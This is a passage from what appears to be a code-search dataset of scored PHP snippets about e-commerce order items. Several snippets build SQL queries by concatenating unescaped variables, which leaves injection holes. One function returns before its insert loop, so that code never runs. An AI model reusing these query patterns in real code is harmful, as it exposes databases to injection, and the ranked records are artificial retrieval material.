$order_product->id;\n\t\t\t}\n\t\t}\n\n\t\treturn $id;\n\t}", "title": "" }, { "docid": "aca1dd9f147b920c56e1f4ee5536bcf6", "score": "0.62719935", "text": "public function get_item_id() {\n return $this->item_id;\n }", "title": "" }, { "docid": "54d383dcf10b71b066caf6aaaad33974", "score": "0.62418026", "text": "public function getItemID()\n {\n return $this->item_id;\n }", "title": "" }, { "docid": "30c9b3afb9a8d8aeb48e0eab9d414785", "score": "0.61595416", "text": "function AddOrderItem($item)\n\t{\n\t\t$this->db->insert('order_items',$item);\n\t}", "title": "" }, { "docid": "254a0ceb6a851823ac95bb7bab5a6dc8", "score": "0.61089504", "text": "final protected function ItemID()\n {\n return $this->item->GetID();\n }", "title": "" }, { "docid": "f166a1a9f2993d211a7f58852b0aa7c7", "score": "0.60430735", "text": "final public function wrp_new_order_item($item_id, $item, $order_id){\n\n //Get all the data for each of the order items\n $item_data = $item->get_data();\n\n //Get the cart contents\n foreach(WC()->cart->get_cart() as $product_item){\n //echo '<pre>';\n //var_dump($product_item);\n //echo '</pre>';\n }\n\n }", "title": "" }, { "docid": "7246ce58523ad1368cb7a09fb36ccc90", "score": "0.6025942", "text": "function getItem($Item_id){\n $query = $this->db->query('SELECT * FROM list WHERE `Item_id` =' . $Item_id);\n return $query->row();\n}", "title": "" }, { "docid": "c7b1f53cbaa97842cc5dc93cf6d2ddc4", "score": "0.5991976", "text": "public function set_order_item_id( $order_id, $order_item_id ) {\n\t\t$this->order_id = $order_id;\n\t\twp_update_post( array( 'ID' => $this->id, 'post_parent' => $this->order_id ) );\n\t\tupdate_post_meta( $this->id, '_ticket_order_item_id', $order_item_id );\n\t}", "title": "" }, { "docid": "6685aa3350f952913d3c76067f5e5a5c", "score": "0.5989348", "text": "public function order_item()\n {\n return $this->hasOne(OrderItemProxy::modelClass());\n }", "title": "" }, { "docid": "3dd20e660dc59e6b31f0d3d1ce69a720", "score": "0.59672165", "text": "public function getItemId();", "title": "" }, { "docid": "f23dddc9515445654fd1b3301f3d27bf", "score": "0.59507203", "text": "function get_ecommerce_product_id_for_item_id($item_id)\n\t{\t\t\n\t\t$this->db->from('items');\n\t\t$this->db->where('item_id', $item_id);\n\t\t$result = $this->db->get();\n\t\tif ($result->num_rows() == 1)\n\t\t{\n\t\t\t$item=$result->row_array();\n\t\t\t\n\t\t\tif ($item['ecommerce_product_id'])\n\t\t\t{\n\t\t\t\treturn $item['ecommerce_product_id'];\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn null;\n\t}", "title": "" }, { "docid": "25e84b041c9df543edfc22e0aa7ff844", "score": "0.59266305", "text": "public function getOrderItem()\n {\n return $this->orderItem;\n }", "title": "" }, { "docid": "dc7947170316d32b1400d2eda973521b", "score": "0.591661", "text": "public function getItemID()\n {\n return $this->itemID;\n }", "title": "" }, { "docid": "dc7947170316d32b1400d2eda973521b", "score": "0.591661", "text": "public function getItemID()\n {\n return $this->itemID;\n }", "title": "" }, { "docid": "dc7947170316d32b1400d2eda973521b", "score": "0.591661", "text": "public function getItemID()\n {\n return $this->itemID;\n }", "title": "" }, { "docid": "dc7947170316d32b1400d2eda973521b", "score": "0.591661", "text": "public function getItemID()\n {\n return $this->itemID;\n }", "title": "" }, { "docid": "a19ab3872c26762713abb806dbe3294d", "score": "0.5886036", "text": "public function getOrderItemTypeId();", "title": "" }, { "docid": "2c1063b68a3c4319e13dafee92c8ed80", "score": "0.5874161", "text": "public function update_order_item( $order_id , $product_id , $order_item )\n\t{\n\n\t}", "title": "" }, { "docid": "5ad735ce2142acf78104143085cc95e4", "score": "0.5865817", "text": "function setId_item($iid_item)\n {\n $this->iid_item = $iid_item;\n }", "title": "" }, { "docid": "5ad735ce2142acf78104143085cc95e4", "score": "0.5865817", "text": "function setId_item($iid_item)\n {\n $this->iid_item = $iid_item;\n }", "title": "" }, { "docid": "6dff3eef17bd61a6a1334f10d6aae3f4", "score": "0.5860027", "text": "function fetch_single_qty_item($item_id)\r\n\t{\r\n\t\t$CI\t=&\tget_instance();\r\n\t\t$CI->load->database();\r\n\t\t$CI->db->select(\"qty\");\r\n\t\t$CI->db->from('mp_sales');\r\n\t\t$CI->db->where(['mp_sales.product_id'=> $item_id]);\r\n\r\n\t\t$query = $CI->db->get();\r\n\t\t$result = NULL;\r\n\t\tif($query->num_rows()>0)\r\n\t\t{\r\n\t\t\t$obj_res = $query->result();\r\n\t\t\tif($obj_res != NULL)\r\n\t\t\t{\r\n\t\t\t\tforeach ($obj_res as $single_qty) \r\n\t\t\t\t{\r\n\t\t\t\t\t$result = $result + $single_qty->qty;\r\n\t\t\t\t}\r\n\t\t\t} \r\n\t\t}\r\n\t\t\r\n\t\treturn $result;\r\n\r\n\t}", "title": "" }, { "docid": "4c2082631bd96cfe3f6dd34439d5e97b", "score": "0.5856282", "text": "function fetch_single_pending_item($item_id)\r\n\t{\r\n\t\t$CI\t=&\tget_instance();\r\n\t\t$CI->load->database();\r\n\t\t$CI->db->select(\"qty\");\r\n\t\t$CI->db->from('mp_stock');\r\n\t\t$CI->db->where(['mp_stock.mid'=> $item_id]);\r\n\r\n\t\t$query = $CI->db->get();\r\n\t\t$result = 0;\r\n\t\tif($query->num_rows()>0)\r\n\t\t{\r\n\t\t\t$obj_res = $query->result();\r\n\t\t\tif($obj_res != NULL)\r\n\t\t\t{\r\n\t\t\t\tforeach ($obj_res as $single_qty) \r\n\t\t\t\t{\r\n\t\t\t\t\t$result = $result + $single_qty->qty;\r\n\t\t\t\t}\r\n\t\t\t} \r\n\t\t}\r\n\t\t\r\n\t\treturn $result;\r\n\r\n\t}", "title": "" }, { "docid": "d42810fa7e934953bc374c494810f2f9", "score": "0.5834093", "text": "function insert_items_to_invoice($sales_id) {\r\n $this->db->select('*');\r\n $this->db->where('sales_id', $sales_id);\r\n $items = $this->db->get('sales_orders_items');\r\n return $items;\r\n foreach ($items->result() as $value):\r\n $data = array(\r\n 'itemCode' => $value->itemCode,\r\n 'itemDesc' => $value->itemDesc,\r\n 'back_order_qty' => $value->qty,\r\n );\r\n $this->db->insert('invoice_items', $data);\r\n endforeach;\r\n }", "title": "" }, { "docid": "664c10a833bad166ff8dd52f1e6999d5", "score": "0.5826433", "text": "protected function get_item_from_db($item_id)\n\t{\n\t\t$query = 'SELECT id, shop_id, tyre_id, source_store, source_shop, date, date_save, entry_out, employee, amount, deptor_id, payment_bs, payment_sus \n\t\t\t\tFROM '.self::DB_TABLE.\n\t\t\t\t\" WHERE id = $item_id\";\n\t\t\n\t\t$bd = DbConnectivity::getInstance();\n\t\t\n\t\tif(!($resulSet = $bd->query($query)))\n\t\t\treturn false;\n\t\t\n\t\t$row = mysqli_fetch_assoc($resulSet);\n\t\t\n\t\t// If the resultset is not an empty array\n\t\tif(!empty($row))\n\t\t{\n\t\t\t$this->id = $row['id'];\n\t\t\t$this->shop_id = $row['shop_id'];\n\t\t\t$this->tyre_id = $row['tyre_id'];\n\t\t\t$this->source_store = $row['source_store'];\n\t\t\t$this->source_shop = $row['source_shop'];\n\t\t\t$this->date = $row['date'];\n\t\t\t$this->date_save = $row['date_save'];\n\t\t\t$this->entry_out = $row['entry_out'];\n\t\t\t$this->employee = $row['employee'];\n\t\t\t$this->amount = $row['amount'];\n\t\t\t$this->deptor_id = $row['deptor_id'];\n\t\t\t$this->payment_bs = $row['payment_bs'];\n\t\t\t$this->payment_sus = $row['payment_sus'];\n\t\t\t\n\t\t\t$this->is_new = false;\n\t\t}\n\t\t\n\t\tmysqli_free_result($resulSet);\n\t}", "title": "" }, { "docid": "b4ff486757ce34b0a872dab7f931a106", "score": "0.5825007", "text": "function checkExistingOrder($customer_id)\r\n{\r\n $query = \"SELECT\r\n Orders.order_id,\r\n Orders.customer_id,\r\n Orders.order_status_code,\r\n Order_Items.*\r\n FROM Order_Items, Orders WHERE\r\n Orders.order_id=Order_Items.order_id and\r\n Orders.order_status_code='IP' and\r\n Orders.customer_id = $customer_id;\";\r\n $items = mysql_query($query)\r\n or die(mysql_error());\r\n \r\n \r\n return $items;\r\n}", "title": "" }, { "docid": "d666a5da3e4ea5b0b2f8e17b99780d3b", "score": "0.58244264", "text": "public function aroundAddOrderItemId($subject, $proceed, int $orderItemId): void\n {\n if (!in_array($orderItemId, $this->orderItemIds)) {\n $this->orderItemList = [];\n $this->orderItemIds[] = $orderItemId;\n }\n }", "title": "" }, { "docid": "b1f7488a5f65efbe6008a9f75829750b", "score": "0.58071804", "text": "public function hasItemId()\n {\n return $this->item_id !== null;\n }", "title": "" }, { "docid": "b4fae819c9e754edb3f806ab1546d114", "score": "0.5789755", "text": "public function setItemUid()\n {\n parent::setItemUid($this->item->getEntityPkValue());\n }", "title": "" }, { "docid": "4e0984b16a0fa58adf506b41764d9c6a", "score": "0.5786673", "text": "public function getOrderItemInfoByID($id){\n\t\t$db = $this->getAdapter();\n\t\t$sql = \"SELECT o.order_id,o.order,o.date_order,o.status,c.cust_name,l.Name,\n\t\t\t\tc.contact_name,c.phone,c.add_name,c.add_remark,o.remark,o.net_total,\n\t\t\t\to.discount_type,o.discount_value,o.paid,sg.name,o.all_total,\n\t\t\t\to.paid,o.balance FROM tb_sales_order AS o \n\t\t\t\tINNER JOIN tb_customer AS c ON c.customer_id=o.customer_id\n LEFT JOIN tb_sale_agent AS sg ON sg.agent_id= o.sales_ref\n\t\t\t\tINNER JOIN tb_sublocation AS l ON o.LocationId = l.LocationId\n\t\t WHERE o.`order_id`= $id LIMIT 1\";\n\t\t$row = $db->fetchRow($sql);\n\t\treturn $row;\n\t}", "title": "" }, { "docid": "a33ec5ebfa123f971aa537e9957bd974", "score": "0.57659936", "text": "public function add_item( $order_id, $item_id, $item_qty = 1, $item_type = '' ) {\n global $wpdb;\n\n $order = $this->get( $order_id );\n\n if ( ! $order ) {\n return false;\n }\n\n $item_id = absint( $item_id );\n $item_qty = intval( $item_qty );\n\n if ( empty( $item_id ) || $item_qty < 0 ) {\n return false;\n }\n\n $item_type = sanitize_text_field( trim( $item_type ) );\n\n if ( empty( $item_type ) ) {\n $item_type = 'snack-box';\n }\n\n $order_item = $this->get_item( $order->order_id, $item_id );\n\n $add_success = false;\n\n if ( $order_item ) {\n\n // Setup update data\n $data = array( 'item_qty' => $item_qty, 'item_type' => $item_type );\n $where = array( 'order_id' => $order->order_id, 'item_id' => $item_id );\n\n // Perform update\n $update_success = $wpdb->update( $this->items_table, $data, $where, array( '%d', '%s' ), array( '%d', '%d' ) );\n\n if ( $update_success !== false ) {\n $add_success = true;\n }\n\n } else {\n\n // Setup insert data\n $data = array(\n 'order_id' => $order->order_id,\n 'item_id' => $item_id,\n 'item_qty' => $item_qty,\n 'item_type' => $item_type\n );\n\n // Perform insert\n $add_success = $wpdb->insert( $this->items_table, $data, array( '%d', '%d', '%d', '%s' ) );\n\n }\n\n // Update/insert success\n if ( $add_success ) {\n return $this->update_order_cost_on_items_change( $order->order_id );\n }\n\n // Update/insert failed\n return false;\n }", "title": "" }, { "docid": "76381d9bc6e2f5d0bcc3a803bb78dda9", "score": "0.5765868", "text": "public function getOrderDetailByOrderIdAndItemId($orderId, $itemId);", "title": "" }, { "docid": "c24a15b85676bcc1843f9f46c8a8c031", "score": "0.5765499", "text": "public function items()\n {\n \treturn $this->hasMany(OrderItem::class, 'order_id');\n }", "title": "" }, { "docid": "32ef62590b4beef4fcc9a0d63b2aa6bd", "score": "0.5763265", "text": "function save_order_items($order_id){\n\t\t\tif(!$order_id)\n\t\t\t\treturn false;\n\t\t\t\t\n\t\t\tglobal $db,$config;\n\t\t\t\n\t\t\t// remove before update or inser\n\t\t\t$sql = \" DELETE FROM fs_order_items\n\t\t\t\t\tWHERE order_id = '$order_id'\" ;\n\t\t\t\n\t\t\t//$db->query($sql);\n\t\t\t$rows = $db->affected_rows($sql);\t\n\t\t\t\n\t\t\t\n\t\t\t// insert data\n\t\t\t$prd_id_array = array();\n\t\t\t// Repeat estores\n\t\t\tif(!isset($_SESSION['cart']))\n\t\t\t\treturn false;\n\t\t\t\t\n\t\t\t$product_list = $_SESSION['cart'];\n\t\t\t$sql = \" INSERT INTO fs_order_items (order_id,product_id,price,count,total,color_id,color_name,color_price,memory_id,memory_name,memory_price,warranty_id,warranty_name,warranty_price,origin_id,origin_name,origin_price,species_id,species_name,species_price,usage_states_id,usage_states_name,usage_states_price)\n\t\t\t\t\tVALUES \"; \n\t\t\t\t\t\n\t\t\t$array_insert = array();\n\t\t\t\n\t\t\t// Repeat products\n\t\t\tfor($i = 0; $i < count($product_list); $i ++) {\n\t\t\t\t\n\t\t\t\t$prd = $product_list[$i];\n\t\t\t\t$total_money = $prd[1];\n\t\t\t\t\n\t\t\t\t // calculator color\n\t\t\t \t$color = $this -> get_record_by_id($prd[3],'fs_products_price');\n\t\t\t \tif(!empty( $color))\n\t\t\t\t\t$total_money = $total_money + $color->price;\n\t\t\t \n\t\t\t // calculator status\n\t\t\t $memory = $this -> get_record_by_id($prd[4],'fs_memory_price');\n\t\t\t if(!empty( $memory))\n\t\t\t\t\t$total_money = $total_money + $memory->price;\n\n\n\t\t\t\t // calculator status\n\t\t\t\t$warranty = $this -> get_record_by_id($prd[5],'fs_warranty_price');\n\t\t\t\tif(!empty( $warranty))\n\t\t\t\t\t$total_money = $total_money + $warranty->price;\n\t\t\t\t\n\t\t\t\t$origin = $this -> get_record_by_id($prd[6],'fs_origin_price');\n\t\t\t\tif(!empty( $origin))\n\t\t\t\t\t$total_money = $total_money + $origin->price;\n\n\t\t\t\t$species = $this -> get_record_by_id($prd[7],'fs_species_price');\n\t\t\t\tif(!empty( $species))\n\t\t\t\t\t$total_money = $total_money + $species->price;\n\n\t\t\t\t$usage_states = $this -> get_record_by_id($prd[8],'fs_usage_states_price');\n\t\t\t\tif(!empty( $usage_states))\n\t\t\t\t\t$total_money = $total_money + $usage_states->price;\n\n\n\t\t\t\t$total_money = $total_money * $prd[2];\n\t\t\t\t\n\t\t\t\t$color_name = isset($color->color_name)?$color->color_name:'';\n\t\t\t\t$color_price = isset($color->price)?$color->price:0;\n\t\t\t\t$memory_name = isset($memory->memory_name)?$memory->memory_name:\"\";\n\t\t\t\t$memory_price = isset($memory->price)?$memory->price:\"\";\n\t\t\t\t$warranty_name = isset($warranty->warranty_name)?$warranty->warranty_name:\"\";\n\t\t\t\t$warranty_price = isset($warranty->price)?$warranty->price:\"\";\n\t\t\t\t$origin_name = isset($origin->origin_name)?$origin->origin_name:\"\";\n\t\t\t\t$origin_price = isset($origin->price)?$origin->price:\"\";\n\t\t\t\t$species_name = isset($species->species_name)?$species->species_name:\"\";\n\t\t\t\t$species_price = isset($species->price)?$species->price:\"\";\n\t\t\t\t$usage_states_name = isset($usage_states->species_name)?$usage_states->species_name:\"\";\n\t\t\t\t$usage_states_price = isset($usage_states->price)?$usage_states->price:\"\";\n\n\t\t\t\t$array_insert[] = \"('$order_id','$prd[0]','$prd[1]','$prd[2]','$total_money','$prd[3]','$color_name','$color_price','$prd[4]','$memory_name','$memory_price','$prd[5]','$warranty_name','$warranty_price','$prd[6]','$origin_name','$origin_price','$prd[7]','$species_name','$species_price','$prd[8]','$usage_states_name','$usage_states_price') \";\n\t\t\t}\n\t\t\tif(count($array_insert)) {\n\t\t\t\t$sql_insert = implode(',',$array_insert);\n\t\t\t$sql .= $sql_insert;\n\t\t\t\t//$db->query($sql);\n\t\t\t\t$rows = $db->affected_rows($sql);\n\t\t\t\treturn true;\t\t\t\t\n\t\t\t} else {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\t\n\t\t}", "title": "" }, { "docid": "4ce16c6de8e5f27ba5c2a52bb1d9a388", "score": "0.5751632", "text": "public function invoiceItem($item);", "title": "" }, { "docid": "ab7121588178189b8d455ddefd8e4f64", "score": "0.57433236", "text": "public function getItemDetailsListViaId($param) \r\n\t{\t\t\r\n\t\r\n\t\t//edited by Mike, 20210110\r\n\t\t//$this->db->select('t1.item_name, t1.item_price, t1.item_id, t2.quantity_in_stock, t2.expiration_date');\r\n\t\t$this->db->select('t1.item_name, t1.item_price, t1.item_id, t1.item_total_sold, t2.quantity_in_stock, t2.expiration_date');\r\n\r\n\t\t$this->db->from('item as t1');\r\n\t\t$this->db->join('inventory as t2', 't1.item_id = t2.item_id', 'LEFT');\r\n\r\n\t\t$this->db->group_by('t2.inventory_id');\r\n\t\t\r\n\t\t//added by Mike, 20200521\r\n\t\t$this->db->where('t1.item_id!=', 0); //0 = NONE\r\n\r\n\t\t$this->db->where('t1.item_type_id', $param['itemTypeId']); //1); //1 = Medicine\r\n\r\n\t\t//edited by Mike, 20200604\r\n\t\t$this->db->where('t1.item_id', $param['itemId']);\r\n\r\n\t\t//added by Mike, 20200607\r\n//\t\t$this->db->order_by('t1.item_name', 'ASC');\r\n\t\t//$this->db->order_by('t2.added_datetime_stamp', 'ASC'); //we do this for cases with equal expiration dates\r\n\r\n//removed by Mike, 20210207\r\n//\t\t$this->db->order_by('t2.inventory_id', 'ASC'); //we do this for cases with equal expiration dates\r\n\t\t\t\t\r\n\t\t//added by Mike, 20200527\r\n\t\t//$this->db->order_by('t2.expiration_date', 'DESC');//ASC');\r\n\r\n\t\t//removed by Mike, 20210207\r\n//\t\t$this->db->order_by('t2.expiration_date', 'ASC');//ASC');\t\t\r\n\r\n\t\t//added by Mike, 20210207\r\n\t\t//we use added_datetime_stamp due to select medicine items may be bought,\r\n\t\t//albeit not based on nearest expiration date\r\n\t\t//due to excess patient waiting time to find item\r\n\t\t$this->db->order_by('t2.added_datetime_stamp', 'ASC');//ASC');\r\n\r\n//\t\t$this->db->limit(8);//1);\r\n\t\t\r\n\t\t$query = $this->db->get('item');\r\n\r\n//\t\t$row = $query->row();\t\t\r\n\t\t$rowArray = $query->result_array();\r\n\t\t\r\n\t\tif ($rowArray == null) {\t\t\t\r\n\t\t\treturn False; //edited by Mike, 20190722\r\n\t\t}\r\n\t\t\r\n//\t\techo report_id: .$rowArray[0]['report_id'];\r\n\t\t\r\n/*\t\treturn $row->report_description;\r\n*/\r\n//\t\treturn $rowArray[0]['report_description'];\r\n\t\t\r\n\t\treturn $rowArray;\r\n\t}", "title": "" }, { "docid": "d8af87db37e988311108e88e4c67aa10", "score": "0.57357883", "text": "public function itemExists($item)\n {\n $query = $this->getEntityManager()\n ->createQuery(\"SELECT et.ebayItemId, et.ebayData, et.ebayContent\n FROM CatalogueOffersBundle:EbayTemporary et\n WHERE et.ebayItemId = :item\")\n ->setParameter('item', $item); \n $row = $query->getResult();\n if(isset($row[0]['ebayItemId']))\n {\n return $row[0];\n }\n return array();\n }", "title": "" }, { "docid": "edb255a974bb55ea4c56ad253703bb21", "score": "0.57246006", "text": "function insert_item($item)\r\n {\r\n $sql = 'INSERT INTO item_table (media_id, service_type, permalink, title, author, description, category, post_date, thumbnail, tag) SELECT \\''\r\n . $this->db->sanitize($item->get_media_id()) . '\\', '\r\n . $item->get_service_type() . ', \\''\r\n . $this->db->sanitize($item->get_permalink()) . '\\', \\''\r\n . $this->db->sanitize($item->get_title()) . '\\', \\''\r\n . $this->db->sanitize($item->get_author()) . '\\', \\''\r\n . $this->db->sanitize($item->get_description()) . '\\', \\''\r\n . $this->db->sanitize($item->get_category()) . '\\', \\''\r\n . $this->db->sanitize($item->get_post_date()) . '\\', \\''\r\n . $this->db->sanitize($item->get_thumbnail()) . '\\', \\''\r\n . $this->db->sanitize($item->get_tag()) . '\\''\r\n . ' WHERE NOT EXISTS (SELECT 1 FROM item_table WHERE permalink = \\'' . $item->get_permalink() . '\\')';\r\n $this->db->query($sql);\r\n\r\n // select item\r\n $sql = 'SELECT id FROM item_table WHERE permalink = \\'' . $item->get_permalink() . '\\'';\r\n $ret = $this->db->query_ex($sql);\r\n\r\n return $ret['id'];\r\n }", "title": "" }, { "docid": "2b8c42d029bb98fe933c9c9307da17c3", "score": "0.571434", "text": "private function deleteItem()\n\t\t{\n\t\t\t$itemid = Input::get('itemid', 'none');\n\t\t\tif ($itemid == 'none')\n\t\t\t\treturn;\n\n\t\t\t\n\t\t\t$item = Item::find($itemid);\n\t\t\t$uid = $item->unique_id;\n\t\t\t$item->delete();\n\n\n\t\t\t$others = Item::where_unique_id($uid)->get();\n\t\t\t$uitem = UniqueItem::find($uid);\n\t\t\t//check if there are other items of the same unique_id\n\t\t\t//if not, delete it from `uniqueitems`\n\t\t\tif (empty($others))\n\t\t\t\t$uitem->delete();\n\n\t\t}", "title": "" }, { "docid": "597da04e8c11cb86086515aead464b86", "score": "0.5704907", "text": "function add_item(\n\t\t\t$item_id,\n\t\t\t$quantity=1,\n\t\t\t$quantity_received=NULL,\n\t\t\t$discount=0,\n\t\t\t$price=null,\n\t\t\t$description=null,\n\t\t\t$serialnumber=null,\n\t\t\t$expire_date= null,\n\t\t\t$force_add = FALSE,\n\t\t\t$line = FALSE,\n\t\t\t$receiving_id = 0)\n\t{\n\t\tif(!$force_add && !$this->CI->Item->exists(does_contain_only_digits($item_id) ? (int)$item_id : -1))\n\t\t{\n\t\t\t//try to get item id given an item_number\n\t\t\t$item_id = $this->CI->Item->get_item_id($item_id);\n\n\t\t\tif(!$item_id)\n\t\t\t\treturn false;\n\t\t}\n\n\t\t//Get items in the receiving so far.\n\t\t$items = $this->get_cart();\n\n //We need to loop through all items in the cart.\n //If the item is already there, get it's key($updatekey).\n //We also need to get the next key that we are going to use in case we need to add the\n //item to the list. Since items can be deleted, we can't use a count. we use the highest key + 1.\n\n $maxkey=0; //Highest key so far\n $itemalreadyinsale=FALSE; //We did not find the item yet.\n\t\t$insertkey=0; //Key to use for new entry.\n\t\t$updatekey=0; //Key to use to update(quantity)\n\n\t\tforeach ($items as $item)\n\t\t{\n //We primed the loop so maxkey is 0 the first time.\n //Also, we have stored the key in the element itself so we can compare.\n //There is an array function to get the associated key for an element, but I like it better\n //like that!\n\n\t\t\tif($maxkey <= $item['line'])\n\t\t\t{\n\t\t\t\t$maxkey = $item['line'];\n\t\t\t}\n\n\t\t\tif($item['item_id']==$item_id)\n\t\t\t{\n\t\t\t\t$itemalreadyinsale=TRUE;\n\t\t\t\t$updatekey=$item['line'];\n\t\t\t}\n\t\t}\n\n\t\t$insertkey=$maxkey+1;\n\n\t\t$cur_item_info = $this->CI->Item->get_info($item_id);\n\n\t\t$cur_item_location_info = $this->CI->Item_location->get_info($item_id);\n\t\t\n\t\t$default_cost_price = ($cur_item_location_info && $cur_item_location_info->cost_price) ? $cur_item_location_info->cost_price : $cur_item_info->cost_price;\n\t\t\n\t\tif ($expire_date === NULL && $cur_item_info->expire_days !== NULL)\n\t\t{\n\t\t\t$expire_date = date(get_date_format(), strtotime('+ '.$cur_item_info->expire_days. ' days'));\n\t\t}\n\t\telseif($expire_date !== NULL)\n\t\t{\n\t\t\t$expire_date = date(get_date_format(),strtotime($expire_date));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$expire_date = NULL;\n\t\t}\n\t\t\n\t\t$measure = $this->CI->Measure->getInfo($cur_item_info->measure_id);\n\t\tif ($receiving_id) {\n\t\t\t$measureOnRecv = $this->CI->Receiving->getMeasureOnRecvItem($receiving_id, $item_id);\n\t\t\tif ($measureOnRecv && $measureOnRecv->id && $measureOnRecv->id != $measure->id) {\n\t\t\t\t$quantity = $measureOnRecv->measure_qty;\n\t\t\t\t$price = $this->getPriceByMeasureConverted($item_id, (int) $measureOnRecv->measure_id);\n\t\t\t\t$measure = $measureOnRecv;\n\t\t\t}\n\t\t}\n\t\t\n\t\t//array records are identified by $insertkey and item_id is just another field.\n\t\t$item = array(($line === FALSE ? $insertkey : $line)=>\n\t\tarray(\n\t\t\t'item_id'=>$item_id,\n\t\t\t'line'=>$line === FALSE ? $insertkey : $line,\n\t\t\t'name'=>$this->CI->Item->get_info($item_id)->name,\n\t\t\t'size'=>$this->CI->Item->get_info($item_id)->size,\n\t\t\t'cost_price_interval'=>$this->CI->Item->get_info($item_id)->cost_price_interval,\n\t\t\t'item_number'=>$cur_item_info->item_number,\n\t\t\t'product_id' => $cur_item_info->product_id,\n\t\t\t'description'=>$description!=null ? $description: $this->CI->Item->get_info($item_id)->description,\n\t\t\t'serialnumber'=>$serialnumber!=null ? $serialnumber: '',\n\t\t\t'allow_alt_description'=>$this->CI->Item->get_info($item_id)->allow_alt_description,\n\t\t\t'is_serialized'=>$this->CI->Item->get_info($item_id)->is_serialized,\n\t\t\t'quantity'=>$quantity,\n\t\t\t'measure_id'=>$cur_item_info->measure_id,\n\t\t\t'measure' => !empty($measure) ? $measure->name : lang('common_not_set'),\n\t\t\t'cur_quantity' => $cur_item_location_info->quantity,\n\t\t\t'quantity_received' => $quantity_received,\n\t\t\t'discount'=>$discount,\n\t\t\t'price'=>$price!=null ? $price: $default_cost_price,\n\t\t\t'expire_date' => $expire_date,\n\t\t\t'cost_price_preview' => $this->calculate_average_cost_price_preview($item_id, $price!=null ? $price: $default_cost_price, $quantity,$discount),\n\t\t\t)\n\t\t);\n\n\t\t\n\t\t//Item already exists\n\t\tif($itemalreadyinsale && !$this->CI->config->item('do_not_group_same_items') && isset($items[$line === FALSE ? $updatekey : $line]))\n\t\t{\n\t\t\t$items[$line === FALSE ? $updatekey : $line]['quantity']+=$quantity;\n\t\t\t$items[$updatekey]['cost_price_preview']=$this->calculate_average_cost_price_preview($item_id, $price!=null ? $price: $default_cost_price, $quantity,$discount);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//add to existing array\n\t\t\t$items+=$item;\n\t\t}\n\n\t\t$this->set_cart($items);\n\t\treturn true;\n\n\t}", "title": "" }, { "docid": "2771eb623e5628489cdfeddf34d23c46", "score": "0.5704785", "text": "function get_ecommerce_product_id($item_id)\n\t{\n\t\t$this->db->from('items');\n\t\t$this->db->where('item_id', $item_id);\n\t\t$result = $this->db->get();\n\t\tif ($result->num_rows() == 1)\n\t\t{\n\t\t\t$item=$result->row_array();\n\t\t\treturn $item['ecommerce_product_id'];\n\t\t}\n\t\t\n\t\treturn null;\n\t}", "title": "" }, { "docid": "446e027d8d5d6effdeb0c0fed6c714bc", "score": "0.56962156", "text": "public function insertQueueItem($order_id, $item_id)\n {\n return Db::getInstance()->insert(\n 'esat_order_stat',\n ['order_id' => $order_id, 'item_id' => $item_id],\n false,\n true,\n Db::REPLACE\n );\n }", "title": "" }, { "docid": "a25e2cc31a2f55663190c719a5e416c3", "score": "0.5688688", "text": "private function addItems($order_id = null){\n\t\tif(!empty($order_id)){\n\t\t\t$error = array();\n\t\t\tforeach($this->items as $item){\n\t\t\t\t$sql = \"INSERT INTO `{$this->o_p}` \n\t\t\t\t\t\t(`order`, `product`, `price`, `qty`)\n\t\t\t\t\t\tVALUES ('{$order_id}', '\".$item['id'].\"', '\".$item['price'].\"', '\".$this->basket[$item['id']]['qty'].\"')\";\n\t\t\t\tif(!$this->db->query($sql)){\n\t\t\t\t\t$error[] = $sql;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn empty($error) ? true : false;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "bdb7796d5f2bbf86e3d7e16f5c6cc13d", "score": "0.56886286", "text": "public function SetOrderItem($id = 0)\n\t{\n\t\tif(is_array($id))\n\t\t{\treturn $id;\n\t\t} else\n\t\t{\tif($result = $this->db->Query('SELECT * FROM storeorderitems WHERE storeorderitems.is_cancelled_refund=\"0\" AND id='. (int)$id))\n\t\t\t{\tif($row = $this->db->FetchArray($result))\n\t\t\t\t{\treturn $this->SetOrderItem($row);\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn array();\n\t\t\n\t}", "title": "" }, { "docid": "ec69768392333a5a9a306cf5654ee1d9", "score": "0.5678429", "text": "function getItemId($itemName){\n\t\t\t$result = \"No item with name\".$itemName;\n\t\t\t$sql = \"SELECT item_id\n\t\t\t\t\t FROM items\n\t\t\t\t\t WHERE item_name = :itemName\"; \n\t\t\t$stmt = $this->conn->prepare($sql); \n\t\t\t$stmt->bindValue('itemName', $itemName);\n\t\t\t$stmt->execute();\n\t\t\t\n\t\t\twhile ($row = $stmt->fetch()) { \n\t\t\t\t$result = $row['item_id'];\t\n\t\t\t}\n\t\t\t\n\t\t\treturn $result;\n\t\t}", "title": "" }, { "docid": "98a9b9b585df1f39162b3611fdfcf4ed", "score": "0.5672628", "text": "function before_order_itemmeta($item_id, $item, $_product) {\n if(isset($item['product_id'])){\n $product_id \t= $item['product_id'];\n $job_product_type = wc_get_order_item_meta($item_id, 'job_product_type', true);\n if ($job_product_type) {\n switch ($job_product_type){\n case 'newjob':\n case 'renewjob':\n case 'featuredjob':\n $job_id = isset($item['job_id']) ? $item['job_id'] : '';\n if($job_id){\n echo get_the_title($product_id).' '.get_the_title($item['job_id']);\n }\n }\n }\n }\n\t}", "title": "" }, { "docid": "ac1753c538fab713f3f591bb6f554e41", "score": "0.56667054", "text": "final public function wrp_before_order_itemmeta($item_id, $item, $product){\n // echo \"wrp_before_order_itemmeta\"; \n // https://arboleaf.com \n $product_id = $item->get_data()['product_id'];\n\n //Get the rental products order item metadata\n $rental_price_meta = wc_get_order_item_meta($item_id, 'wrp_date_range');\n\n //Render the rental product metadata\n echo $this->render_rental_metadata($product_id,$rental_price_meta);\n\n }", "title": "" }, { "docid": "b1fa1b39b44419f9893ea6c788000437", "score": "0.5660959", "text": "abstract protected function save_item_from_phppos_to_ecommerce($item_id);", "title": "" }, { "docid": "877417dac79252d46dd32359beec9b2f", "score": "0.5654265", "text": "public function getItemId($item)\n {\n return $item->getId();\n }", "title": "" }, { "docid": "a62920298a3b2be71d29141cda04481a", "score": "0.56540745", "text": "function getItemQuantityByItemId($item_id) {\n $quantity = 0;\n foreach ($this->items as $item) {\n if ($item['id'] == $item_id) {\n $quantity++;\n }\n }\n return $quantity;\n }", "title": 